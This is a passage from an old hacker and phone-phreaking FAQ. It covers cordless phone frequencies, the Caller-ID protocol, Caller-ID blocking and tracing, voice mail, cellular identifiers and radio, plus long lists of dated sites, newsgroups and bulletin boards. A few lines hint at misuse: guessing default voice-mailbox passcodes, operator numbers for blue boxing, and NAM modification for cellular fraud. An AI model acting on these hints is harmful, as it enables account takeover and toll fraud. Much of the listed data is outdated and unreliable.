At one time these were called CLASS Codes, for Custom Local Area Signalling Services.

D-30. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.

Channel Handset Transmit Base Transmit


1 49.670mhz 46.610mhz
2 49.845 46.630
3 49.860 46.670
4 49.770 46.710
5 49.875 46.730
6 49.830 46.770
7 49.890 46.830
8 49.930 46.870
9 49.990 46.930
10 49.970 46.970

Second generation 900Mhz cordless phones have been allocated the frequencies between
902-228MHz, with channel spacing between 30-100KHz.

Following are some examples of the frequencies used by example phones:

Panasonic KX-T9000 (60 Channels)


Base 902.100 - 903.870
Handset 926.100 - 927.870

Channel Base Handset Channel Base Handset Channel Base Handset


01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
10 902.370 926.370 20 902.670 926.670 30 902.970 926.970
31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
33 903.060 927.060 43 903.360 927.360 53 903.660 927.660

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34 903.090 927.090 44 903.390 927.390 54 903.690 927.690


35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
40 903.270 927.270 50 903.570 927.570 60 903.870 927.870

V-Tech Tropez DX900 (20 Channels)


905.6 - 907.5 Transponder (Base) Frequencies (100 Khz Spacing)
925.5 - 927.4 Handset Frequencies

Channel Base Handset Channel Base Handset Channel Base Handset


907.000
01 905.600 925.500 08 906.300 926.200 15
926.900
907.100
02 905.700 925.600 09 906.400 926.300 16
927.000
907.200
03 905.800 925.700 10 906.500 926.400 17
927.100
907.300
04 905.900 925.800 11 906.600 926.500 18
927.200
907.400
05 906.000 925.900 12 906.700 926.600 19
927.300
907.500
06 906.100 926.000 13 906.800 926.700 20
927.400
07 906.200 926.100 14 906.900 926.800

Other 900mhz cordless phones

AT&T #9120 902.0 - 905.0 & 925.0 - 928.0 Mhz


Otron Corp. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 Mhz
Samsung #SP-R912 903.0 & 927.0 Mhz

Third generation 2.4Ghz cordless phones have been allocated the


frequencies between 2.4Ghz and 2.48Ghz, with channel spacing of 5Mhz.

D-31. What is Caller-ID?

This FAQ answer is stolen from Rockwell:

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Calling Number Delivery (CND), better known as Caller ID, is a


telephone
service intended for residential and small business customers. It allows
the
called Customer Premises Equipment (CPE) to receive a calling party's
directory number and the date and time of the call during the first 4
second silent interval in the ringing cycle.

Parameters

The data signalling interface has the following characteristics:

Link Type: 2-wire, simplex


Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load

Protocol

The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.

Channel Carrier Message Message Data Checksum


Seizure Signal Type Length Word(s) Word
Signal Word Word

Channel Seizure Signal

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The channel seizure is 30 continuous bytes of 55h (01010101) providing


a detectable alternating function to the CPE (i.e. the modem data
pump).

Carrier Signal

The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to


condition the receiver for data.

Message Type Word

The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).

Message Length Word

The message length word specifies the total number of data words to
follow.

Data Words

The data words are encoded in ASCII and represent the following
information:

The first two words represent the month

The next two words represent the day of the month

The next two words represent the hour in local military time

The next two words represent the minute after the hour

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The calling party's directory number is represented by the


remaining words in the data word field

If the calling party's directory number is not available to the


terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".

Checksum Word

The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the received
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.

Example CND Single Data Message

An example of a received CND message, beginning with the message type


word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

Calling number delivery information code


04h
(message type word)
18 decimal; Number of data words (date,time,
12h
and directory number words)
30,39 09; September
33,30 30; 30th day
31,32 12; 12:00 PM
32,34 24; 24 minutes (i.e., 12:24 PM)
(609) 555-1212; calling party's directory
36,30,39,35,35,35,31,32,31,32
number
51h Checksum Word

Data Access Arrangement (DAA) Requirements

To receive CND information, the modem monitors the phone line between the first and second ring bursts
without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of
CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the

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task.

Modem Requirements

Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE
need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for
CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset.
The host then configures the modem to monitor the phone line for CND information.

Signalling

According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and
ends at least 475 mS before the second ring burst

Applications

Once CND information is received the user may process the information in a number of ways.

1. The date, time, and calling party's directory number can be displayed.

2. Using a look-up table, the calling party's directory number can be correlated with his or her name and
the name displayed.

3. CND information can also be used in additional ways such as for:

a. Bulletin board applications


b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base

References

For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030
and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service


60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196
(908) 699-5800

D-32. How do I block Caller-ID?

Always test as much as possible before relying on any method of blocking Caller-ID. Some of these
methods work in some areas, but not in others.

Dial *67 before you dial the number. (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls ($1.99/minute) or

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(900)STONEWALL for international calls ($3.99/minute).


Dial from a pay phone. :-)

D-33. How do I defeat Caller-ID blocking?

Forward your phone line to a friend who lives in another LATA. When he receives the anonymous phone
call, have him use *69 Call Return to dial to offending party back. As he is now placing a long distance
phone call, the telephone number of the anonymous caller will show up on your friends phone bill at the
end of the month.

A variation of this system is available in areas where the local phone company offers per-call billing (as
opposed to unlimited flat rate local calling) and where the local phone company issues itemized bills on
those local phone calls. In those areas, you can switch your phone line to itemized local calling, *69 Call
Return the anonymous telephone call, and read the anonymous callers telephone number at the end of the
month.

If you are particularly anxious, you can often request your toll records from your local telephone company
without waiting for your final bill.

D-34. What is a PBX?

A PBX (Private Branch Exchange) is a small telephone switch owned by a company or organization. These
organizations purchase PBX's to reduce the total number of telephone lines they need to lease from the
telephone company. Without a PBX, a company will need to lease one telephone line for every employee
with a telephone.

With a PBX, every employees telephone line is wired to the PBX. When an employee takes the receiver
off hook (i.e. picks up the telephone) and dials the outside access code (usually 9), the PBX connect the
employee to an outside line (often, though somewhat incorrectly, referred to as a trunk). With a PBX, the
company only needs to lease as many lines from the telephone company as the maximum number of
employees that will be making outside calls at one time. This is usually around 10% of the number of
extensions.

Two common PBX systems are AT&T's Definity series (also known as the System 75 and Sytem 85) and
Northern Telecom's Meridian series. Other manufacturers include ROLM, Siemens, NEC, and Mitel.

D-35. What is a VMB?

A VMB (Voice Mail Box) is a computer that acts as an answering machine for hundreds or thousands of
users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number
and a pass code.

Without a passcode, you will usually be able to leave messages to users on the VMB system. With a
passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the
passcode will be the mailbox number or a common number such as 1234.

Two common VMB systems are AT&T's Audix system and Northern Telecom's Meridian Mail.

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D-36. What are the ABCD tones for?

The ABCD tones are simply additional DTFM tones that may be used in any way the standard (0-9) tones
are used. The ABCD tones are used in the U.S. military telephone network (AutoVon), in some Automatic
Call Distributor (ACD) systems, for control messages in some PBX systems, and in some amateur radio
auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys. The ABCD keys are defined
as such:

A - Flash

B - Flash override priority

C - Priority communication

D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor (ACD) systems once used by
Directory Assistance operators, you could connect two callers together.

The purpose of the Silver Box is to create the ABCD tones.

See also "What are the DTMF Frequencies?"

D-37. What are the International Direct Numbers?

The numbers are used so that you may connect to an operator from a foreign telephone network, without
incurring long distance charges. These numbers may be useful in blue boxing, as many countries still have
older switching equipment in use.

Australia (800)682-2878
Austria (800)624-0043
Belgium (800)472-0032
Belize (800)235-1154
Bermuda (800)232-2067
Brazil (800)344-1055
British VI (800)278-6585
Cayman (800)852-3653
Chile (800)552-0056
China (Shanghai) (800)532-4462
Costa Rica (800)252-5114
Denmark (800)762-0045
El Salvador (800)422-2425
Finland (800)232-0358
France (800)537-2623
Germany (800)292-0049
Greece (800)443-5527

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Guam (800)367-4826
HK (800)992-2323
Hungary (800)352-9469
Indonesia (800)242-4757
Ireland (800)562-6262
Italy (800)543-7662
Japan (800)543-0051
Korea (800)822-8256
Macau (800)622-2821
Malaysia (800)772-7369
Netherlands (800)432-0031
Norway (800)292-0047
New Zealand (800)248-0064
Panama (800)872-6106
Portugal (800)822-2776
Philippines (800)336-7445
Singapore (800)822-6588
Spain (800)247-7246
Sweden (800)345-0046
Taiwan (800)626-0979
Thailand (800)342-0066
Turkey (800)828-2646
UK (800)445-5667
Uruguay (800)245-8411
Yugoslavia (800)367-9842 (Belgrade)
367-9841 (Zagreb)
USA from outside (800)874-4000 Ext. 107

D-38. What are some telephone switches?

SWITCH VENDOR TYPE DESCRIPTION


1AES AT&T Analog No. 1A ESS
1ES AT&T Analog No. 1 ESS
2BES AT&T Analog No. 2B ESS
2ES AT&T Analog No. 2 ESS
3ES AT&T Analog No. 3 ESS
3XB AT&T E/M No. 3 Cross-Bar
4ES AT&T Digital No. 4 ESS
5AXB AT&T E/M No. 5A Cross-Bar
5ES AT&T Digital No. 5 ESS
5ORM AT&T Digital Optical Remote Module

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5RSM AT&T Digital Remote Switching Module


5XB AT&T E/M No. 5 Cross-Bar
AXE10 Ericsson Digital Stand Alone or Host
AXRSS Ericsson Digital Remote
DGTL Digital Generic Digital Switch
DMS1/200 NTI Digital DMS 100/200
DMS10 NTI Digital DMS 10
DMS100 NTI Digital DMS 100
DMS200 NTI Digital DMS 200
DPN NTI Packet Packet Switch
EDX Siemens Packet Packet Switch
NC23 NEC E/M NEC Cross-Bar
NEAX61E NEC Digital NEC switch
RLCM NTI Digital Remote Line Conc Module
RLCM-10 NTI Digital Remote Line Conc Module
RLM NTI Digital Remote Line Module
RSC NTI Digital Remote Switching Center
RSCI NTI Digital ISDN RSC
RSLE NTI Digital Remote Subscr Line Equip
RSM AT&T Digital Remote Switching System
RSS AT&T Analog Remote Switching System
RSU Digital Generic Remote Switching Unit
SXS AT&T E/M Step by Step

Section E -- Mobile Telephony

E-01. What is a MTSO?

MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching office that connects all
of the individual cell towers to the Central Office (CO).

The MTSO is responsible for monitoring the relative signal strength of your cellular phone as reported by
each of the cell towers, and switching your conversation to the cell tower which will give you the best
possible reception.

E-02. What is a NAM?

NAM stands for Number Assignment Module. The NAM is the EPROM that holds information such as the
MIN and SIDH. Cellular fraud is committed by modifying the information stored in this component.

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E-03. What is an ESN?

ESN stands for Electronic Serial Number. The is the serial number of your cellular telephone which is
transmitted to the cell site, and used in conjuction with the NAM to verify that you are a legitimate user on
the system.

E-04. What is a MIN?

MIN stands for Mobile Identification Number. This is the phone number of the cellular telephone.

E-05. What is a SCM?

SCM stands for Station Class Mark. The SCM is a 4 bit number which holds three different pieces of
information. Your cellular telephone transmits this information (and more) to the cell tower. Bit 1 of the
SCM tells the cell tower whether your cellphone uses the older 666 channel cellular system, or the newer
832 channel cellular system. The expansion to 832 channels occured in 1988. Bit 2 tells the cellular system
whether your cellular telephone is a mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the
cell tower what power your cellular telephone should be transmitting on.

Bit 1:
0 == 666 channels
1 == 832 channels

Bit 2:
0 == Mobile cellular telephone
1 == Voice activated cellular telephone

Bit 3/4:
00 == 3.0 watts (Mobiles)
01 == 1.2 watts (Transportables)
10 == .06 watts (Portables)
11 == Reserved for future use

E-06. What is a SIDH?

SIDH stands for System Identification for Home System. The SIDH in your cellular telephone tells the
cellular system what system your cellular service originates from. This is used in roaming (making cellular
calls when in an area not served by your cellular provider).

Every geographical region has two SIDH codes, one for the wireline carrier and one for the nonwireline
carrier. These are the two companies that are legally allowed to provide cellular telephone service in that
region. The wireline carrier is usually your local telephone company, while the nonwireline carrier will be
another company. The SIDH for the wireline carrier is always an even number, while the SIDH for the
nonwireline carrier is always an odd number. The wireline carrier is also known as the Side-B carrier and
the non-wireline carrier is also known as the Side-A carrier.

SIDH is often abbreviated to SID.

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E-07. What are the forward/reverse channels?

Forward channels are the frequencies the cell towers use to talk to your cellular telephone. Reverse
channels are the frequencies your cellular telephone uses to talk to the cell towers.

The forward channel is 45 mhz above the reverse channel. For example, if the reverse channel is at 824
mhz, the forward channel would be at 869 mhz.

Section F -- Radio

F-01. What are these radios I see all of the other hacker types carrying around?

These radios serve two functions:

1. They serve as scanners, to listen to interesting radio traffic such as police and emergency bands.
2. They serve as tranceivers, to allow hackers to talk with each other over the amateur radio bands.

Most of the popular radio models now incorporate both of these functions. The most popular models of
handheld radios are currently all from Yaesu, although Kenwood and Icom are also manufacturing some
excellent equipment.

Yaesu
http://www.yaesu.com/amateur/handheld.html

Kenwood
http://www.kenwood.com/i/products/info/amateur.html

Icom
http://www.icomamerica.com/amateur/dualhand/index.html

F-02. Do I need a license to use one of these radios?

You do not need to be licensed to operate a scanner. You should be legally licensed to operate an amateur
(HAM) radio. The process of becoming licensed is:

1. Not difficult.
2. Educational.

I recommend becoming licensed because it will increase your enjoyment of amateur radio.

For more information, visit the American Radio Relay League (ARRL) at http://www.arrl.org
/hamradio.html

F-03. What about modifying ("modding") these radios?

The best of these radios can be extensively modified by end users. These modifications usually allows
greater receive or transmit ranges, but may enable access to an array of possible features.

The absolute best source for radio mod information is http://www.mods.dk

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F-04. What are better radios for scanning?

My recommendations for general purpose scanners are the PC controlled models. They give you many
more options for playing and they are a great band for your scanning buck. Of course, you can't carry these
units around on your belt!

Icom PCR-1000
http://www.icomamerica.com/receivers/pc/icpcr1000main.html

WinRadio
http://www.winradio.com/

F-05. What is trunking?

Traditional radio equipment works because both parties of the communication agree on what frequencies
they will utilize. Traditional radio scanners work by scanning for and then listening to those frequencies.

Trunking radios, on the other hand, constantly renegotiate the frequencies utilized by both parties. This
allows for more efficient utilization of limited gfrequencies because each conversation does not require a
dedicated channel. However, it also makes it very difficult to scan trunked conversations because you
never quite know what frequency the next portion of the conversation will appear on.

Some scanners are able to follow the trunking control messages sent out by the trunking radios and
automatically switch to the new signal. The technology leader in trunked scanners is Uniden.

Uniden BC-245XLT Handheld Scanner


http://www.uniden.com/product.cfm?product=BC245XLT

Uniden BC-780XLT Desktop Scanner


http://www.uniden.com/product.cfm?product=BC780XLT

There are many types of trunked radio systems and the number is increasing constantly. For more
information visit the Trunked Radio Information Homepage at http://www.trunkedradio.net/

F-06. What is pirate radio?

Pirate radio is broadcasting outside of the rules laid down by the Federal Communications Commission
(FCC). Pirate radio usually occurs on the FM band because that is where the most receivers are.

Under Part 15 of the FCC rules, you can legally broadcast on the FM band if you broadcast using less that
100 milliwatts of output power and and antenna less than 3' long. By contrast, commercial FM broadcasters
are required to broadcast using at least 100 watts of output power. 100 milliwatts will give your signal an
effective range of less than one mile.

You can build the gear needed to transmit pirate radio or you can buy much of what you need from Radio
Free Berkeley. An entire broadcasting system can be put together for well under $1,000.

For more information, check out Radio Free Berkeley at http://www.freeradio.org.

Section H -- Resources

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H-01. What are some ftp sites of interest to hackers?

204.215.84.2 /pub/dmackey
2600.com (2600 Magazine)
aeneas.mit.edu (Kerberos)
alex.sp.cs.cmu.edu /links/security (Misc)
asylum.sf.ca.us (CyberWarriors of Xanadu)
atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)
athena-dist.mit.edu /pub/ATHENA (Athena Project)
atlantis.utmb.edu (Anti-virus)
bellcore.com (Bellcore)
cert.org (CERT)
ciac.llnl.gov (CIAC)
cnit.nsk.su /pub/security (Security)
coast.cs.purdue.edu /pub (Security/COAST)
coombs.anu.edu.au /pub/security (Security)
csrc.ncsl.nist.gov (NIST Security)
dartmouth.edu /pub/security (Security)
ds.internic.net (Internet documents)
dutiws.twi.tudelft.nl /pub/novell
etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine)
fastlane.net /pub/nomad
ftp.3com.com /pub/Orange-Book (Orange Book)
ftp.acns.nwu.edu /pub (Mac Anti-virus)
ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC)
ftp.armory.com /pub/user/kmartind (H/P)
ftp.armory.com /pub/user/swallow (H/P)
ftp.auscert.org.au /pub (Australian CERT)
ftp.cert.dfn.de (FIRST)
ftp.cs.ruu.nl /pub/SECURITY (Security & PGP)
ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)
ftp.csi.forth.gr /pub/security
ftp.csl.sri.com /pub/nides (SRI)
ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)
ftp.demon.co.uk /pub/misc/0800num.txt (0800/0500 numbers)
ftp.denet.dk /pub/security/tools/satan
ftp.digex.net /pub/access/dunk
ftp.dsi.unimi.it /pub/security/crypt (Crypto)
ftp.dstc.edu.au /pub/security/satan
ftp.ee.ualberta.ca /pub/cookbook/telecom (Telecom electronics)
ftp.etext.org (Etext)
ftp.funet.fi /pub/doc/CuD

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ftp.gate.net /pub/users/wakko
ftp.giga.or.at /pub/hacker/ (H/P)
ftp.greatcircle.com /pub/firewalls (Firewalls)
ftp.IEunet.ie /pub/security (Security)
ftp.ifi.uio.no
ftp.info.fundp.ac.be
ftp.informatik.uni-hamburg.de
ftp.informatik.uni-kiel.de /pub/sources/security
ftp.lava.net /users/oracle/ (H/P
ftp.lerc.nasa.gov /security
ftp.llnl.gov /pub (CIAC)
ftp.luth.se /pub/unix/security
ftp.mcs.anl.gov /pub/security
ftp.near.net /security/archives/phrack (Zines)
ftp.net.ohio-state.edu /pub/security/satan
ftp.netsys.com /pub/zz/zzyzx (H/P)
ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)
ftp.ox.ac.uk /pub/comp/security
ftp.ox.ac.uk /pub/crypto (Cryptology)
ftp.ox.ac.uk /pub/wordlists (Wordlists)
ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
ftp.pipex.net /pub/areacode (uk areacodes)
ftp.primenet.com /users/i/insphrk
ftp.primenet.com /users/k/kludge (H/P)
ftp.primenet.com /users/s/scuzzy (Copy Protection)
ftp.psy.uq.oz.au /pub/DES
ftp.rahul.net /pub/conquest/DeadelviS/script/vms/
ftp.rahul.net /pub/lps (Home of the FAQ)
ftp.smartlink.net /pub/users/mikes/haq
ftp.std.com /archives/alt.locksmithing (Locksmithing)
ftp.std.com /obi/Mischief/ (MIT Guide to Locks)
ftp.std.com /obi/Phracks (Zines)
ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
ftp.sura.net /pub/security (SURAnet)
ftp.tisl.ukans.edu /pub/security
ftp.uni-koeln.de (Wordlists)
ftp.uu.net /doc/literary/obi/Phracks (Zines)
ftp.warwick.ac.uk /pub/cud (Zines)
ftp.win.tue.nl /pub/security (Security)
ftp.winternet.com /users/nitehwk (H/P)
ftp.wustl.edu /doc/EFF (EFF)
garbo.uwasa.fi /pc/crypt (Cryptology)
gemini.tuc.noao.edu /pub/grandi

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gti.net /pub/safetynet
gumby.dsd.trw.com
hack-this.pc.cc.cmu.edu (Down for Summer)
heffer.lab.csuchico.edu (Third Stone From The Sun)
hplyot.obspm.fr
info.mcs.anl.gov
lcs.mit.edu /telecom-archives (Telecom archives)
lod.com (Legion of Doom)
mac.archive.umich.edu
mary.iia.org /pub/users/patriot (Misc)
monet.ccs.itd.umich.edu
net-dist.mit.edu /pub/pgp
net.tamu.edu /pub/security/TAMU (Security)
net23.com /pub (Max Headroom)
nic.ddn.mil /scc (DDN Security)
nic.sura.net /pub/security
oak.oakland.edu /pub/hamradio (Ham Radio)
oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)
oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers)
parcftp.xerox.com
prism.nmt.edu /pub/misc (Terrorist Handbook)
pyrite.rutgers.edu /pub/security (Security)
relay.cs.toronto.edu /doc/telecom-archives (Telecom)
rena.dit.co.jp /pub/security (Security)
research.att.com /dist/internet_security (AT&T)
ripem.msu.edu /pub/crypt (Ripem)
rmii.com /pub2/KRaD (KRaD Magazine)
rtfm.mit.edu (Etext)
rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
scss3.cl.msu.edu /pub/crypt (Cryptology)
sgigate.sgi.com /Security (SGI Security)
sierra.stanford.edu
spy.org (CSC)
src.doc.ic.ac.uk /usenet/uk.telecom (uk.telecom archives)
suburbia.apana.org.au /pub/unix/security (Security)
sunsolve1.sun.com
theta.iis.u-tokyo.ac.jp /pub1/security (Security)
titania.mathematik.uni-ulm.de /pub/security (Security)
toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
ugle.unit.no
unipc20.unimed.sintef.no
vic.cc.purdue.edu
vixen.cso.uiuc.edu /security
web.mit.edu
wimsey.bc.ca /pub/crypto (Cryptology)

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wuarchive.wustl.edu /pub/aminet/util/crypt

H-02. What are some fsp sites of interest to hackers?

None known at this time.

H-03. What are some newsgroups of interest to hackers?

news:alt.2600 Do it 'til it hertz


news:alt.2600d
news:alt.2600hz
alt.magazine.2600 Spam free discussion of 2600 Magazine. (Moderated)
alt.binaries.comp.virus NG to post virus and antivirus utilities.
alt.binaries.cracks Like alt.binaries.warez.*, only different.
alt.binaries.cracks.d Discussion of issues in alt.binaries.cracks
alt.binaries.satellite-tv Programs and data related to encrypted TV.
alt.cellular Cellular telephone techhnology
alt.cellular-phone-tech Brilliant telephony mind blow netnews naming
alt.comp.virus An unmoderated forum for discussing viruses
alt.comp.virus.binaries Executables of NEW Viruses
alt.comp.virus.source.code The source code to various virii.
alt.cracks Heavy toolbelt wearers of the world, unite
alt.cyberpunk High-tech low-life.
alt.cyberspace Cyberspace and how it should work.
alt.dcom.telecom Discussion of telecommunications technology
alt.engr.explosives BOOM
alt.hackers Descriptions of projects currently under development
alt.hackintosh Clever programming on Apple's Macintosh
alt.locksmithing You locked your keys in where?
alt.hackers.malicious The really bad guys - don't take candy from them
alt.ph.uk United Kingdom version of alt.2600
alt.privacy.anon-server Issues surrounding programs that aid anonymity
alt.radio.pirate Hide the gear, here comes the magic station-wagons.
alt.radio.scanner Discussion of scanning radio receivers.
alt.satellite.tv.crypt Satellite signal de-cryption techniques.
alt.security Security issues on computer systems
alt.security.alarms Discussion of Home/Business/Vehicle security alarms.
alt.security.index Pointers to good stuff in alt.security (Moderated)
alt.security.keydist Exchange of keys for public key encryption systems
alt.security.pgp The Pretty Good Privacy package

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comp.dcom.telecom.tech Discussion of technical aspects of telephony.


comp.org.cpsr.announce Computer Professionals for Social Responsibility
comp.org.cpsr.talk Issues of computing and social responsibility
comp.org.eff.news News from the Electronic Frontiers Foundation
comp.org.eff.talk Discussion of EFF goals, strategies, etc.
comp.os.netware.security Netware Security issues
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip TCP and IP network protocols
comp.risks Risks to the public from computers & users
comp.security.announce Announcements from the CERT about security
comp.security.firewalls Anything pertaining to network firewall security
comp.security.gss-api Generic Security Service Application Program Interface.
comp.security.misc Security issues of computers and networks
comp.security.ssh SSH secure remote login and tunneling tools.
comp.security.unix Discussion of Unix security
comp.virus Computer viruses & security (Moderated)
news.org.ccc Mitteilungen des CCC e.V.
rec.pyrotechnics Fireworks, rocketry, safety, & other topics
rec.radio.scanner "Utility" broadcasting traffic above 30 MHz.
rec.video.cable-tv Technical and regulatory issues of cable television
sci.crypt Different methods of data en/decryption
sci.crypt.random-numbers Generating cryptographic strength randomness.
sci.crypt.research Cryptography, cryptanalysis, and related issues. (Moderated)

H-04. What are some telnet sites of interest to hackers?

ntiabbs.ntia.doc.gov (NTIA)
sfpg.gcomm.com (The Floating Pancreas)
telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)
pcspm2.dar.csiro.au (Virtual Doughnutland BBS)
prince.carleton.ca 31337 (Twilight of The Idols)

H-05. What are some gopher sites of interest to hackers?

ba.com (Bell Atlantic)


cell-relay.indiana.edu (Cell Relay Retreat)
coast.cs.purdue.edu (COAST)
csrc.ncsl.nist.gov (NIST Security Gopher)
gopher.acm.org (SIGSAC (Security, Audit & Control))
gopher.cpsr.org (Computer Professionals for Social Responsibility)
gopher.eff.org (Electonic Frontier Foundation)

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gopher.panix.com (Panix)
gw.PacBell.com (Pacific Bell)
iitf.doc.gov (NITA -- IITF)
info.itu.ch (International Telegraph Union)
ncjrs.aspensys.com (National Criminal Justice Reference Service)
oss.net (Open Source Solutions)
spy.org (Computer Systems Consulting)
wiretap.spies.com (Wiretap)

H-06. What are some World wide Web (WWW) sites of interest to hackers?

The maintenance of this section simply grew out of control. There is information of interest to hackers all
over the World Wide Web.

To find what you are looking for, consult one of these fine search engines:

www.google.com Google
www.hotbot.com HotBot: The Wired Search Center
www.altavista.com AltaVista Search Network
www.yahoo.com Yahoo!
www.hotbot.lycos.com Lycos
www.webcrawler.com WebCrawler
www.infoseek.go.com InfoSeek
www.excite.com eXcite
http://groups.google.com/ Google Groups

H-07. What are some IRC channels of interest to hackers?

#2600
#cellular
#hack
#phreak
#linux
#root
#unix
#warez

H-08. What are some BBS's of interest to hackers?

Rune Stone (203)832-8441 NUP: Cyberdeck


Strange Days (207)490-2158

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The Truth Sayer's Domain (210)493-9975


Independent Nation (413)573-1809
Ut0PiA (315)656-5135
underworld_1994.com (514)683-1894
Alliance Communications (612)251-8596
Maas-Neotek (617)855-2923
Apocalypse 2000 (847)831-0484
K0dE Ab0dE (713)579-2276
fARM R0Ad 666 (713)855-0261
kn0wledge Phreak <k0p> BBS (719)578-8288 NUP=NO NUP
The Edge of Reality (805)496-7460
Static Line (806)747-0802
Area 51 (908)526-4384
The Drunk Forces +972-3-5733477

H-09. What are some books of interest to hackers?

General Computer Security

Computer Security Basics


Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

This is an excellent book. It gives a broad overview of computer security without


sacrificing detail. A must read for the beginning security expert.

Information Systems Security


Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks


Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management


Author: Karen Forcht
Publisher: boyd & fraser publishing company Copyright Date: 1994
ISBN: 0-87835-881-1

The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing

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Author: Charles P. Pfleeger


Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.

Building a Secure Computer System


Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York. Copyright Date:
ISBN: 0-442-23022-2

Modern Methods for Computer Security


Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:

Windows NT 3.5 Guidelines for Security, Audit and Control Author:


Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9

Protection and Security on the Information Superhighway Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1

Commonsense Computer Security


Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5

Combatting Computer Crime


Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc. Copyright Date: 1992
ISBN: 0-8306-7664-3

Computer Crime: a Crimefighters Handbook


Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4

Unix System Security

Practical Unix Security


Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright
Date: 1991
ISBN: 0-937175-72-2

Unix System Security


Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

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Unix Security: A Practical Tutorial

Author: N. Derek Arnold


Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security


Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

